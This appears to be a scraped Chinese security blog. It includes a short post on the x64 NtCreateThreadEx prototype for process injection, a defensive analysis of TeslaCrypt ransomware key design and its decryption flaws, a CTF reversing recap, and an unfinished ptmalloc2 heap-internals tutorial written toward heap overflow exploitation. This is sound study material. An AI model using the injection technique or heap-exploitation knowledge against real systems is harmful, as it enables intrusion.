github.com: 搜代码</li>
</ul>
</li>
H

hctf.io: 又一个比赛的地址</li>
</ul>
</li>
I

inoreader.com: RSS阅读器</li>
iret.xyz: 本站</li>
ipip.net: 查IP。后来索性把这个功能整合到了终端里。</li>
</ul>
</li>
J

jwxt.[???].edu.cn/jwc.[???].edu.cn: 教务处，今年挂科好多啊……</li>
jd.com: 又是买东西啊</li>
</ul>
</li>
K

keep.google.com: 记事本</li>
kindle.cn: 传文档</li>
</ul>
</li>
L

luxun.pro: 又是看番的……唉我好能看番啊</li>
l-team.org: 团队网站</li>
</ul>
</li>
M

mail.live.cn/mail.qq.com: 查邮件</li>
</ul>
</li>
N

nytimes.com: 看看“主流媒体”</li>
</ul>
</li>
O

onlinedisassembler.com/odaweb: 在线的反汇编器</li>
o0xmuhe.me: 大佬的博客</li>
</ul>
</li>
P

pan.baidu.com: 嘿嘿嘿</li>
pwnhub.com: 新出的，不过还很有趣</li>
</ul>
</li>
Q

qcloud.com: 腾讯云</li>
quipqiup.com: 偶尔会遇到奇奇怪怪的密码</li>
</ul>
</li>
R

rs.[???].edu.cn: 校内PT站点</li>
regex101.com: 沉迷正则无法自拔</li>
</ul>
</li>
S

stumail.[???].edu.cn: 校内邮箱</li>
srv-vm-[???].[???].club: 服务器管理页面</li>
</ul>
</li>
T

taobao.com: 额……</li>
tower.im: 团队协作工具</li>
</ul>
</li>
U

没有什么值得一提的</li>
</ul>
</li>
V

vnet.link: 微林</li>
virustotal.com: 查查样本</li>
</ul>
</li>
W

weibo.com: 微博</li>
wanfangdata.com.cn: 论文</li>
wolframalpha.com: 算东西</li>
</ul>
</li>
X

xctf.org.cn: 赛棍的最后挣扎</li>
</ul>
</li>
Y

youtube.com: 学习英语（只是看视频而已……</li>
</ul>
</li>
Z

zhihu.com: 吱乎</li>
zone.drops.wiki: R.I.P.</li>
</ul>
</li>
</ul>


NtCreateThreadEx under x64
2016-12-11T00:00:00+00:00
近日忙于大作业，顺手写了下逆向的上机作业，然后发现在Win10 x64下用NtCreateThreadEx</code>怎么也注入不进去，GetLastError</code>没有返回值，函数的返回值是“参数不正确”。索性试着逆向一下ntdll，然后发现，这个函数在x64和x86下的原型应该是不同的：</p>
// NtCreateThreadEx - x32 </span></span>
typedef</span> DWORD</span>(NTAPI </span>*</span>fNtCreateThreadEx</span>)</span></span>
(</span></span>
 PHANDLE                 ThreadHandle</span>,</span></span>
 ACCESS_MASK             DesiredAccess</span>,</span></span>
 LPVOID                  ObjectAttributes</span>,</span></span>
 HANDLE                  ProcessHandle</span>,</span></span>
 LPTHREAD_START_ROUTINE  lpStartAddress</span>,</span></span>
 LPVOID                  lpParameter</span>,</span></span>
 BOOL                    CreateSuspended</span>,</span></span>
 DWORD                   dwStackSize</span>,</span></span>
 DWORD                   Arg8</span>,</span></span>
 DWORD                   Arg9</span>,</span></span>
 LPVOID                  Arg10</span></span>
)</span>;</span></span>
</span>
// NtCreateThreadEx - x64 </span></span>
typedef</span> DWORD64</span>(NTAPI </span>*</span>fNtCreateThreadEx</span>)</span></span>
(</span></span>
 PHANDLE                 ThreadHandle</span>,</span></span>
 ACCESS_MASK             DesiredAccess</span>,</span></span>
 LPVOID                  ObjectAttributes</span>,</span></span>
 HANDLE                  ProcessHandle</span>,</span></span>
 LPTHREAD_START_ROUTINE  lpStartAddress</span>,</span></span>
 LPVOID                  lpParameter</span>,</span></span>
 BOOL                    CreateSuspended</span>,</span></span>
 DWORD64     dwStackSize</span>,</span></span>
 DWORD64     Arg8</span>,</span></span>
 DWORD64     Arg9</span>,</span></span>
 LPVOID                  Arg10</span></span>
)</span>;</span></span></code></pre>
上网搜了一下才发现有人已经给出来</a>了，有一点点尴尬。</p>
实际其他的都差不多，主要是后几个参数的类型不一样。不过不知道怎么回事，对iexplore.exe的几个子进程还是注不进去，八成和令牌有关系？有时间再试试吧。</p>
唉，好久没碰Windows，差点连OD都要不会用了……</p>
//对，这就是一篇水文……</p>


又一条碎碎念
2016-09-24T00:00:00+00:00
各位好，我还活着，还没有被各种琐事压垮。</p>
近期更(wa)新(keng)计划：</p>

10月底：ptmalloc代码再分析，修正之前文章里错误和过时的观点</li>
11月中旬起：初探符号执行</li>
12月上旬：总结一下打过的CTF中，Pwn上常见的题型和技巧</li>
12月下旬：近期可能有的几场比赛中，Re的出题&做题思路</li>
17年初：年度总结</li>
</ul>
催促我填坑吧……</p>

热闹是你们的，我什么都没有。</p>
</blockquote>


旧文重发：小窥TeslaCrypt密钥设计
2016-08-29T00:00:00+00:00

按：最近在研究一点东西，没时间发博客。听说Drops暂时关掉了，为这个优秀的内容分享平台而遗憾。今天想起来自己在Drops上还水过一篇文章，当时动机不纯，就是想赚点WB去社区Zone看看。现在回头看这篇文章，质量还是不太好。在这里再发一次，一算是给博客凑一篇文章，再来也算是提醒自己有个网站叫Wooyun。</p>
没来由的想起，八、九十年代的时候，SVCD和CVD之争中，一个比较有趣的争论是“先驱”是否会称为“先烈”。我想Wooyun是先驱，更是先烈。</p>
</blockquote>
最近群里提到TeslaCrypt的作者放出了主密钥，简单看了下，对他的加密流程比较感兴趣。受条件限制，没有拿到早期样本（只拿到了晚一些的），放狗搜了搜也没找到，但是找到了两款解密程序。一款是Googulator开发的TeslaCrack，另外一款则是BloodDolly开发的TeslaDecoder。前者虽然开源，但支持解密的版本少于后者。本文通过分析及逆向样本和这两款工具，试图了解TeslaCrypt的设计思路。</p>
下文中所有图片如无特殊说明，均为对BloodDolly开发的TeslaDecoder（简称“TD”）的逆向过程截图。</p>
加密流程简述</h2>
TeslaCrypt（以及AlphaCrypt，下文统称为“TC”）算是比较“成熟”的勒索软件，其版本从0.2逐步升级到目前已知的最高版本4.0+（也不知道有没有Insider Preview）。随着版本的升级，其加密和密钥处理技巧也在不断升级。</p>
勒索软件的制作者为了打到目的，通常会给用户一个比特币钱包的地址。用户向该钱包付款之后，可以得到一个解密密钥，用此密钥即可解密。有报告指出，不同的受害者需要向不同的钱包中打款，这暗示着比特币钱包的生成过程可能与加密密钥的产生存在一定关联。因此，先大致了解下钱包是如何生成的。</p>
</p>
比特币钱包生成的基本步骤是：</p>

初始化一对可用于ECDSA签名的密钥Public/PrivateBtcKey</li>
用SHA256对PublicBtcKey做蛤希，得到S256_PublicBtcKey</li>
用RIPEMD-160对上一个结果做哈希，然后在哈希前部加入版本号得到VR160_S256_PublicBtcKey</li>
在上一哈希前部加入版本号，并做两次哈希，将结果的前4字节附加在VR160_S256_PublicBtcKey后，最后使用Base58算法编码。这时得到的就是长33个字符的钱包地址。</li>
</ul>
如果想知道关于椭圆曲线算法的更多细节，有一篇文章</a>比较适合参考阅读。此外，TC还采用了ECDHE算法进行密钥交换，只是将DH里的非对称加密机制换成了椭圆曲线算法，其他变化不大，可以参考这里</a>获得更多细节。</p>
TC被首次载入时，就生成了一对PublicBtcKey/PrivateBtcKey。其中，PublicBtcKey就是向用户显示的地址，而PrivateBtcKey则被发送给C&C服务器，以进行之后的转账操作。不同版本的TC，这一点是不变的。</p>
TC作者本次公布的密钥是四号密钥，应用于TC3.0以及TC4.0版本。这两个版本都采用了比较完整的分层密钥机制，并且提高了样本隐蔽性。TC4.0的准备过程如下：</p>

准备随机数生成器等；</li>
生成随机数，并用714号曲线（即secp256k1）建立比特币钱包，对应密钥Public_BtcKey和Private_BtcKey；</li>
对Private_BtcKey做SHA-256哈希，得到Private_HashedPRBK，用Public_BtcKey算出钱包地址，一会展示给客户；</li>
用Private_HashedPRBK带入曲线，得到第二对密钥Public_HashedPRBK；</li>
此外，TC的作者还拥有一对密钥Public/Private_MalMaster。这对密钥里，Public_MalMaster是由TC作者置入程序的，而Private_MalMaster则是本次被作者公布的“主密钥”，难以被运算出来；</li>
再生成用于加密传输数据的第三对密钥Public/Private_Master；</li>
用Private_Master和Public_MalMaster计算，得到用于对称加密的密钥Secret_Master；</li>
以Secret_Master作为AES的密钥，用AES_CBC方法，加密比特币钱包的私钥Private_BtcKey，得到加密后的结果Encrypted_PRBK；</li>
将Encrypted_PRBK和Public_Master发送给CC端；</li>
攻击者由Public_Master和Private_MalMaster算得Secret_Master；</li>
用Secret_Master将Encrypted_PRBK解密为Private_BtcKey，得到可以收款的BTC钱包地址；</li>
计算Private_BtcKey的哈希值Private_HashedPRBK，作为收到付款之后返回客户的密钥；</li>
</ul>
现在TC已经做好了加密准备。TC的加密是以一个session为一环的，每次重启、关闭计算机，都会终止当前的session，并启动一个新的session。每次session里的加密细节是：</p>

生成一个Private_SessionKey和一个SessionIV，作为本次session里对文件进行加密的密钥和CBC模式的初始化向量。</li>
依据Private_SessionKey生成对应的密钥对Public_SessionKey，并保存；</li>
用Private_SessionKey和Public_HashedPRBK生成一个用与对称加密的密钥Secret_Session；</li>
用Private_SessionKey加密目标文件，得到Encrypted_FILE；</li>
用Secret_Session加密Private_SessionKey得到Encrypted_PSSK；</li>
立刻冲洗Secret_Session和Private_SessionKey的存储区域；</li>
</ul>
按照攻击者的设定，用户在被攻击后，应该使用下面的流程来解密文件：</p>

向Public_BtcKey对应的钱包里付款；</li>
确认Private_BtcKey里收到付款后，向客户返回Private_HashedPRBK；</li>
对每个文件：

依据Private_HashedPRBK和Public_SessionKey，计算得出Secret_Session；</li>
依据Secret_Session解密Encrypted_PSSK，即可得到Private_SessionKey；</li>
依据Private_SessionKey解密Encrypted_FILE，即可得到源文件；</li>
</ul>
</li>
</ul>
在TC4.0中，作者在每个文件头里都保存了三个对解密必不可少的值：</p>

SessionIV</li>
Public_SessionKey和Encrypted_PSSK</li>
</ul>
此外还保存了：</p>

Public_Master（同时发送给CC）</li>
Encrypted_PRBK（同时发送给CC）</li>
Public_HashedPRBK</li>
原始文件长度</li>
</ul>
而且，在密钥没有保存意义后，立刻用数据对相应的存储区域进行清洗，防止安全/取证软件获取到解密密码。通过这里也可以看出，病毒作者通过分析一些专杀工具和解密工具，对自己的技术也进行了升级。密钥的分层机制也比较明确，在网络里传输的数据，如果没有Private_MalMaster，是无法解密BTC钱包地址的，而SessionKey的解密又依靠这个地址，从而保证除了攻击者没有第三方可以绕过逻辑解密文件。最后完成的3.x和4.x版本，基本可以作为密码学应用的示范程序。在作者公布密钥后，TD也嵌入了密钥，并实现了上述的解密过程。</p>
部分漏洞分析</h2>
TC的老版本则没有新版本这么“安全”了。对加密通道运用不当是比较常见的错误，在TC中也由发现。这是最早修复的漏洞，一个比较标志性的版本是v6，在v6之前，所有的文件都可以通过抓取感染后向CC通信的网络流量来解密，但v6版本开始，这一做法便不能使用了。一种合理的猜想是，在旧版本的软件中，可以直接解析出加密密钥。对TD的分析证实了这一点。下图是TD获取网络流量后，判定密钥与比特币地址是否相符的（以免解密错误）：</p>
</p>
之后，TD便将密钥放入对应区域中，其他操作则与正常解密类似：</p>
</p>
从V2版本到V5版本的TC，将传输的私钥以特定方式进行的加密，各版本的密钥也有所不同，但由于密钥是硬编码在程序里的，因此仍可以被TD直接提取出来，这就很尴尬了：</p>
</p>
从TD的验证逻辑推断，旧版本的TC应该是向CC服务器直接发回了BTC地址和Private_BtcKey（或简单加密后的Private_BtcKey）：</p>
</p>
因此，在v5版本的某个变种中，TC作者移除了部分数据，使TC无法验证网络请求中的BTC地址和私钥是否相符，并在v6版本完全修改了向CC传输的数据，不再在通信中直接暴露加密密钥，彻底的封堵了这个逻辑漏洞。然而，利用这个漏洞，需要用户持续收集网络流量，这在很多环境下不容易实现，因此这种方法的利用难度比较高。</p>
第二个漏洞存在于TC的前两个版本中。有一种比较简单的方法，利用的主要是在加密设计过程中的漏洞。由于对数据存储区域清洗不彻底，部分解密密钥可能残留在key.dat和注册表中。获取了部分密钥，可以极大的降低TD的解密难度，而且由于设计过程问题比较严重，这样获得的密钥不是SessionKey而是用户主密钥，这样就可以直接解密所有文件了：</p>
</p>
这个漏洞比较容易利用，修补难度也不高，因此只存活了两个版本，就被勤劳的地下工作者修好了。</p>
第三个漏洞就相对不太好利用。V7之前旧版本TC的弱点在于，在目标文件中保留了“RecoveryKey”或与之相似的参数。这个参数是由一个私钥和用于加密该私钥的乘积，其存在意义不明，位置和数量也随版本变化。比如在.xyz格式的文件中，0x108偏移处的130个字节，保存的是文件私钥Private_SessionKey与文件私钥加密密码Secret_Session的乘积。显然，这个积可以被分解为多个质数的乘积，而Private_SessionKey的值可以由这些质数中的一个或多个相乘而来。这样就产生了一个爆破思路：</p>

分解乘积为素数表M</li>
循环取M中的素数，计算乘积m</li>
计算m在secp256k1模式下对应的公钥值n</li>
验证n与Public_SessionKey是否相符。如果相符，则可用</li>
</ul>
这种方法能成功有两个主要因素。最重要的一个是由于乘积的存在，增加了信息量，也就弱化了保密特性。而另一个因素则是由于攻击者在这里采用了椭圆曲线算法。这种算法的保密关键点在于，解决ECDLP是困难的（在曲线Ep上给定一个点G，取任意一个整数k，那么可以证得点P=k*G容易在同一条曲线上找到。但是，如果选择适当的参数，那么在已知P、G的情况下，求出k的群操作太慢了，而把G和Ep规定好，令k为私钥，P为公钥，就是椭圆曲线加密的基本原理），而不再一味依靠密钥的位数。因此，在操作中，考虑到时间问题，一般把私钥设定在160~300位，即使与RSA1024相比，这个长度也短的多，因此更容易被从素数表中挖掘出来（这里的“更”是相对与RSA1024来说的，实际上也需要相当量的算力和运气）。解决这个漏洞比较简单，可以修改加密流程，也可以简单的删除这个乘积。因此，在V7以及之后的版本中，取消了这个乘积数据，这样对V7和V8版本的解密就只能依靠攻击者给出的密钥才能解密了。</p>
以上是我根据旧版本Teslacrypt的解密代码，了解到的一些漏洞信息。自己的密码学比较菜，如有不妥，还希望各位给一点人生的经验。</p>
附相关链接：</p>

英文Wiki有很多关于密码学的文章，此外关于ECC有一篇较为可靠的文章也可参考，来自看雪论坛</a></li>
消息源：Solidot</a></li>
BTC钱包生成：Bitcoin.it</a></li>
如果你主要关注样本行为：乌云</a>，SecureWorks</a>，以及Cisco</a></li>
启明星辰</a>对该软件的分</li>
利用第三个漏洞的代码：Github</a></li>
对第三个漏洞的介绍：BleepingComputer.com</a></li>
</ul>


2016年（第二届）陕西省网络空间安全技术大赛(NSSTC) Reverse 2 Mindmap
2016-05-29T00:00:00+00:00
很可惜，差一点就做出来了。这个题是用Golang编写的一个程序，之前似乎在某个CTF里也出过类似的题，有机会再做详细讲解。晚上睡不着觉，就简单写了几页，主要是讲了讲我是怎么在没有flirt签名的情况下找到切入点的。</p>
1</a></sup></p>
</p>
</p>
限于时间（写了一会就困了，所以稍有仓促），有几个问题没有详细展开。一个比较重要的方面是关于Golang是如何设计routine的，比赛的时候我也是现学的2</a></sup>。如果对golang没有接触过的话，Wikipedia是很好的工具，这篇文章</a>写的也很好。如果对golang是如何编译成这样的exe比较感兴趣的话，可以阅读云风大神的这篇博客</a>。另外一个容易让人困惑的点就是，在这个程序里有很多很多的检查、跳转到die。实际这是因为golang在设计之初希望提升安全性，因此加入了各种各样的检查，缓冲区长度、执行流防护等等……既然不是pwn，就可以掠过不计啦。程序里的加密/解密过程则比较简单，只是循环右移三位，不多介绍了。</p>
此外觉得比较重要的是，逆向分析过程中对信息的快速筛选还是很重要的，否则像这样的题目，背景信息比较大，稍有不慎就会掉进细节的漩涡（像我一样）。</p>
题目稍后放到网盘上。有什么意见/疑问请在下面的评论里说明，我会一并在文中或评论里回复。</p>
^1</sup>PEDIY：求助 golang程序在编译时去掉了符号信息，怎么逆向？"</a></p>
</div>
^2</sup>关于调度器是什么：Golang调度器源码分析</a></p>
</div>


Notes About Heap Overflow Under Linux
2016-05-24T00:00:00+00:00
假期搞了次堆溢出，但是做的不是很多。再搞一次，强化下印象，顺便理解理解细节。没啥说明的话，都是在x64下做的。</p>
Enterance</h2>
malloc是ptmalloc2内存分配器里的一个功能。而真正负责从虚拟地址里划分空间的，则是mmap以及brk等系统调用。malloc和free等，只是在mmap拿到的内存空间里进行二次分配的。这样涉及的原因是，由于mmap需要考虑到对齐等问题，不加管理的话可能造成资源和时间上的浪费。ptmalloc2为每个线程分别维护一套表，用来管理内存，可以减少不同线程之间的冲突。以下讨论的例子中，我们假设只要一个线程。</p>
在程序启动时是不会创建堆的，如图：</p>
</p>
第一次调用malloc后，会创建一个堆：</p>
</p>
我们分配了一块4k的内存，但这个堆的大小是136KiB。预先分配空间，一定程度上可以降低分配时间。</p>
接下来，我们分派了16个4kb的内存。使用gdb观察一下内存块的结构：</p>
</p>
可以看到，分配的结构是这样的：</p>
</p>
现在释放一个块看看：</p>
</p>
可以看到，被释放的内存块结构变成了：</p>
</p>
这里，我们将这两个指针称为fd</code>和bk</code>。注意到fd和bk指到了一个位于栈</strong>上的空间。gef</code>的heap chunk</code>指令，可以帮助我们查看关于这个内存块的信息：</p>
</p>
为了搞明白这些信息，我们需要关注一下ptmalloc的工作细节。</p>
Faster! Faster!1</a></sup></h2>
libc是一个历史气息浓重的库（充满了历史包袱，对），所以先来回顾一下其历史，有助于了解malloc及其工作机制。当然，希望你在阅读本段之前，已经了解了操作系统对内存的管理机制，也就是brk</a>和mmap</a>等系统调用。如果你还不太了解，推荐你读下这篇文章</a>。</p>
作者写作本文时，以glibc-2.9为基准。</p>
历史包袱</h3>
目前一些比较常用的内存分配器有：</p>

dlmalloc</strong> - 通用内存分配器</li>
ptmalloc</strong> - 基本也就是glibc</li>
jemalloc</strong> - 在Firefox和FreeBSD中使用的分配器</li>
tcmalloc</strong> - Google使用的分配器</li>
libumem</strong>  - Solaris使用的分配器</li>
...</li>
</ul>
glibc起初采用dlmalloc</a>作为其默认分配器。随着时间的推移，dlmalloc的问题也逐渐凸显出来。其中一个问题就是，由于没有考虑到多线程下的性能问题，dlmalloc存在锁冲突。在dlmalloc中，当两个线程同时调用malloc的时候，只有一个线程可以进入临界区2</a></sup>，这是因为所有活动的线程共用了同一个结构实例来管理内存。因此，在多线程程序中，dlmalloc造成了一定的性能损耗。</p>
之后，glibc采用了ptmalloc</a>作为自己的内存分配器。在ptmalloc2中，每个线程拥有自己“独立”的堆结构3</a></sup>，那么两个线程同时请求分配内存时，就可以无需阻塞，直接分得内存4</a></sup>。接下来，我们以Understanding glibc malloc</em></span>一文中的示例代码</a>为例，介绍一下ptmalloc是如何处理程序对内存的请求的。</p>
注意：示例代码为32位</strong></p>
dlmalloc中对线程内存的管理</h3>
程序从操作系统获得内存之后，内存分配器会负责将其分配给各个线程，各线程请求内存时，分配器会检查可用的内存，并作出回应。这里先来说一说各个线程是如何获得内存的。</p>
在示例代码的入口点停住，可以看到在malloc之前：</p>
    sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ ./mthread </span></span>
    Welcome to per thread arena example::6501</span></span>
    Before malloc in main thread</span></span>
    ...</span></span>
    sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$ cat /proc/6501/maps</span></span>
    08048000-08049000 r-xp 00000000 08:01 539625     /home/sploitfun/ptmalloc.ppt/mthread/mthread</span></span>
    08049000-0804a000 r--p 00000000 08:01 539625     /home/sploitfun/ptmalloc.ppt/mthread/mthread</span></span>
    0804a000-0804b000 rw-p 00001000 08:01 539625     /home/sploitfun/ptmalloc.ppt/mthread/mthread</span></span>
    b7e05000-b7e07000 rw-p 00000000 00:00 0 </span></span>
    ...</span></span>
    sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/mthread$</span></span></code></pre>
可以看到，Loader已经把ELF映像中的三个segment映射到了内存里。由于我们还没有调用malloc，那么也就没有给我们分配一块堆。</p>
调用了一次malloc之后，可以看到：</p>
    0804a000-0804b000 rw-p 00001000 08:01 539625     /home/sploitfun/ptmalloc.ppt/mthread/mthread</span></span>
    >>>>0804b000-0806c000 rw-p 00000000 00:00 0          [heap]<<<<</span></span>
    b7e05000-b7e07000 rw-p 00000000 00:00 0 </span></span></code></pre>
这里可以看到，调用malloc之后，在0x804b000处分配了一个大小为0x21000的堆块。查看源代码可知，这时候的调用流程为：</p>
    malloc -> ... </span></span>
    -> __int_malloc(malloc/malloc.c:4128)  # Entry</span></span>
    -> ...</span></span>
    -> __int_malloc(malloc/malloc.c:4454)  # First call, thus no bins available</span></span>
    -> __int_malloc(malloc/malloc.c:4549)  # A chain of if, and make sure no more available space</span></span>
    -> __int_malloc(malloc/malloc.c:4580)  # So we need a new HEAP</span></span>
    -> sYSMALLOc(malloc/malloc.c:2906)     # Judge which way is suitable</span></span>
    -> ...</span></span>
    -> sYSMALLOc(malloc/malloc.c:3044)     # First malloc, and must be main_arena</span></span>
    -> sYSMALLOC(malloc/malloc.c:3097)</span></span>
    -> sYSMALLOC(malloc/malloc.c:3121)     # Make extra space for manage heap</span></span>
    -> sYSMALLOC(malloc/malloc.c:3130)     # Call malloc</span></span>
    -> MORECORE -> __morecore -> __default_more_core </span></span>
    -> __sbrk -> sbrk</span></span></code></pre>
这里我们可以看到，主线程调用malloc</code>获取到的内存，全部是由brk</code>分配的。与mmap</code>不同，brk</code>不能在任意位置分配内存，也不会清零内存或修改权限。brk</code>只是简单地向os申请更多的页，而且这些页都是在程序的bss段之后的（如果开启了ASLR，会加一个随机偏移量）。</p>
此外，我们的malloc</code>只申请了不到1k的内存，但申请后新开的堆大小为132KB。我们把这段连续的内存叫**arena</code>** 5</a></sup>，而由于这段内存是由主线程建立的，因此称其为main arena</code>。在主线程里，之后所有的内存分配都会从这块main arena</code>里获取空间。当其空间耗尽时，malloc</code>会再次调用sbrk</code>，获取更多的内存，并修改相关的管理结构。而当我们用free</code>释放掉这块内存时，会发现这块内存并没有被立刻返回给OS。这是因为无论在主线程还是在其他线程中，free到的内存都会由分配器进行决策，在合适的时机返回给内存，以便重复利用。我们后面会详细解释这一细节。</p>
刚才我们介绍了主线程的内存是如何从OS获得的，而其他线程获得内存的方式则稍有不同。继续执行刚才的示例代码，可以看到在新的线程申请内存后，内存布局是这样的：</p>
    0804b000-0806c000 rw-p 00000000 00:00 0          [heap]</span></span>
    >>>b7500000-b7521000 rw-p 00000000 00:00 0 <<<</span></span>
    >>>b7521000-b7600000 ---p 00000000 00:00 0 <<<</span></span>
    b7604000-b7605000 ---p 00000000 00:00 0</span></span></code></pre>
如果你顺着调用流程走下去的话，会发现这里的执行路径和之前完全不一样了：</p>
    malloc -> ... </span></span>
    -> __int_malloc(malloc/malloc.c:4128)  # Entry</span></span>
    -> ...</span></span>
    -> __int_malloc(malloc/malloc.c:4580)  # We need a new HEAP</span></span>
    -> sYSMALLOc(malloc/malloc.c:2906)     # Judge which way is suitable</span></span>
    -> ...</span></span>
    -> sYSMALLOc(malloc/malloc.c:3044)     # not new heap <<<!!!!!</span></span>
    -> sYSMALLOC(malloc/malloc.c:3053)     # but also unable to expand heap</span></span>
    -> sYSMALLOC(malloc/malloc.c:3063)     # So make a new heap by:</span></span>
    -> new_heap(malloc/arena.c:3130)       # Entry. Some adj and check</span></span>
    -> new_heap(malloc/arena.c:673)        # Get new memory</span></span>
    -> MMAP -> ... </span></span></code></pre>
不同于主线程，这里的内存是mmap申请得到的。另外，虽然我们仍然只请求了1KB的内存，但malloc为我们拿到了1MB的内存，其中只有前132KB被设定为rw权限，后面的内存会在需要时再次进行处理。我们把这前132KB称为thread arena</code>。而同样，在free之后，这块内存也并没有立刻返回给OS。</p>
此外，这里要注意的是，无论在哪个线程中，如果申请的内存大于128KB，malloc都会使用mmap进行分配，而永远不会使用sbrk。</p>
在得到的第一块堆用尽之后，再次申请内存时，malloc会从操作系统为该arena再次申请一块内存（用mmap</code>）6</a></sup>，因此，ptmalloc使用heap_info(malloc/arena.c:69)</code>这一结构体来管理堆。此外，为了管理heap的内部空间，malloc使用了malloc_state(malloc/malloc.c:2317)</code>这个结构体。这些结构体全部位于由OS新分配的内存空间中，也就是说，拿到了他们所在的地址，就拿到了对应堆块的地址。7</a></sup></p>
对堆中内存的管理</h3>
为了管理heap的内部空间，内存分配器引入了chunk</strong>的概念。ptmalloc把堆中的Chunk分为了四种：</p>

Allocated chunk</li>
Free chunk</li>
Top chunk (mchunkptr top;(malloc/malloc.c:2333)</code>)</li>
Last Remainder chunk (mchunkptr last_remainder;(malloc/malloc.c:2336)</code>)</li>
</ul>
在malloc_chunk(malloc/malloc.c:1773)</code>中，给出了前两种Chunk的头部。下面我们分别讨论这几种Chunk。</p>
Allocated Chunk</h4>
malloc_chunk</code>实际上是一个“隐式空闲链表”，其设计目的在于可以用其头部信息定位到下一个块。</p>
一个非空块指针p=malloc(SIZE)</code>，只有malloc_chunk.size</code>一个成员的值对malloc是一定有意义的，且其地址为p-len(int)</code>，也就是说malloc_chunk</code>类似于一个楔子，嵌入到内存块的头部8</a></sup>。这样，获取下一个chunk的地址时，可以用*(p-len(int))-2*len(int)+p</code>来获得。而malloc_chunk.prev_size</code>的情况比较特殊，需要视上一块的情况而定。如果上一块是空的，那么这里保存的就是上一块的大小，否则是一些无意义的用户数据，这一点要结合下一段来看。此时，其他的成员如malloc_chunk.fd</code>等均未被使用，而用作数据空间。</p>
此外，由于分配得到的内存地址和大小总是对齐的，因此可以利用malloc_chunk.size</code>的低几个字节来保存一些标志位。其最低位PREV_INUSE</code>代表了当前块内存空间</strong>的前一块是否被使用，而第二位IS_MMAPPED</code>则代表了该块的获取方法。置1则代表该位是通过mmap获取的。</p>
下图是一张比较直观的图，来自sploitfun。
</p>
Free Chunk</h4>
在我们用free(p)</code>释放了刚才的内存之后，留下了一些管理信息。要理解他们的含义，首先给一个结论：</p>

malloc总保证空闲块内是尽可能连续的</p>
</blockquote>
也就是说，一个空块之后一定是一个有数据的块或是堆尾。</p>
由于p目前是个空块，那么有一些数据结构就有意义了。</p>
首先来看第一个成员malloc_chunk.prev_size</code>，由于空闲块之间总是不连续的，因此空闲块之前一定是一个在用的块，此时，malloc_chunk.prev_size</code>里存放的是上一个块的最后几个字节。malloc_chunk.size</code>的作用不再赘述。</p>
之后是malloc_chunk.fd</code>和malloc_chunk.bk</code>。他们指向的是同一个bin（筐）里的下一块（而不是</strong>物理空间</strong>里的下一块）。筐是一种用来管理当前堆里空闲空间的数据结构，在稍后的一节里会详细介绍的。筐的结构也是我们能成功执行堆溢出攻击的重要因素之一。</p>
下图是一张比较直观的图，同样来自sploitfun。
</p>
Top Chunk</h4>
我们都知道，堆地址是从低到高生长的，而在每个arena最顶部的Chunk就叫做top chunk</code>。top chunk不属于任何筐，因为当筐里没有任何空块的时候，就从top chunk里取一部分内存空间，这时候top chunk被分为了两部分：一部分是user chunk，也就是给用户用的那部分，另一部分则是remainder chunk</strong>，也就是剩下的那部分。而如果top chunk比用户请求的空间还大，那么malloc就会视情况（主线程or其他线程）调用mmap或者sbrk来增大其堆空间。</p>
Last Remainder Chunk</h4>
刚才我们提到了remainder chunk</code>，它是top chunk</code>被分配之后剩下的部分，而last remainder chunk</strong>指的就是top chunk最后一次被分割后剩下的部分。这里跟我们要做的没什么太大关系，就先不详细说明了。有兴趣的可以阅读malloc/malloc.c:4511</code>及相关的代码。</p>
Bin（筐）中如何管理空闲内存</h3>
ptmalloc不关心用户如何使用已经分配好的内存——讲道理，也没法关心——，而会主动管理空闲内存。受管理的空闲内存被置于一个名为”筐“的结构中，每个arena拥有自己的bin结构，其位置在malloc_state</code>结构体中。根据设计需求，Bin也被分为四种：</p>

Fast bin (mfastbinptr fastbins[NFASTBINS];(malloc/malloc.c:2330)</code>)</li>
Unsorted bin</li>
Small bin</li>
Large bin</li>
</ul>
其中，后三种被打包存放于mchunkptr bins[NBINS * 2 - 2];(malloc/malloc.c:2339)</code>中。目前的malloc实现中共有126个bin，第一个为Unsorted bin，第2至63个为Small Bin，剩下的64~126号为Large Bin。下面我们分别了解下这几种结构。9</a></sup></p>
Fast bin</h4>
Fast bin中容纳的是Fast chunk，顾名思义，其分配和释放的速度都很快，因此其数据结构也比较固定。目前，Fast bin的项目数量被固定为10，每项都指向一个单链表，链表中包含了同一大小的内存块。在free</code>时，如果程序判定内存块属于fast chunk，那么这些内存块的in_use</code>位不会被修改，这样这些块就不会和其他的空块合并，从而影响fastbin的布局。在malloc初始化的过程中，规定了Fast Chunk的最大大小为80字节(malloc_init_state(malloc/malloc.c:2427)</code>)，并保证fast bin中每种chunk的大小相差8字节。</p>
fast bin中容纳的是大小为16~64字节的空块10</a></sup>，这些空块都是由之前malloc之后free得到的，因此在程序第一次调用malloc的时候，无论如何都没办法从fast bin中获得内存。之后，如果fast bin非空，那么在申请小内存时，malloc会优先从fast bin中获得内存(malloc/malloc.c:4162</code>)，方法也比较简单，将对应链表的第一项项拆出来并返回就可以了(malloc/malloc.c:4174~4180</code>)。</p>
而在free的时候，也会首先检查是否可以放入fast bin中(malloc/malloc.c:4636</code>)，如果可以的话，在进行安全检查后，将其加入链表中(malloc/malloc.c:4668,4669</code>)。这里借用sploitfun的图片，来说明fast bin的布局。</p>
</p>
Small bin</h4>
所有小于512bytes的块被称为small chunk，被存放在small bin中。small bin中共有62项，每项大小相差8bytes，而且各项之间是可以被合并的，这样有助于减小内存碎片。small bin中，每项都是一个双链表，链表中每个空块的大小是一样的。</p>
当程序申请一块大小适当的内存时，如果small bin非空11</a></sup>，那么malloc会试图从合适的small bin中(malloc/malloc.c:4193</code>)取出队末的一块内存(malloc/malloc.c:4195</code>)作为被返回的块，并将其从链表中移除(malloc/malloc.c:4199~4202</code>)，同时置位标志位。</p>
而当free时，free会首先尝试将其与前后的空块合并(malloc/malloc.c:4712~4730</code>)，之后将其丢近unsorted bin</strong>里面。那么问题来了，初始化时既然没有为任何bin赋初值，small bin</code>里的块是哪里来的呢？</p>
来看malloc/malloc.c:4232</code>。这里描述了如何选择合适的bin和chunk：</p>
  /*</span></span>
    Process recently freed or remaindered chunks, taking one only if</span></span>
    it is exact fit, or, if this a small request, the chunk is remainder from</span></span>
    the most recent non-exact fit.  Place other traversed chunks in</span></span>
    bins.  Note that this step is the only place in any routine where</span></span>
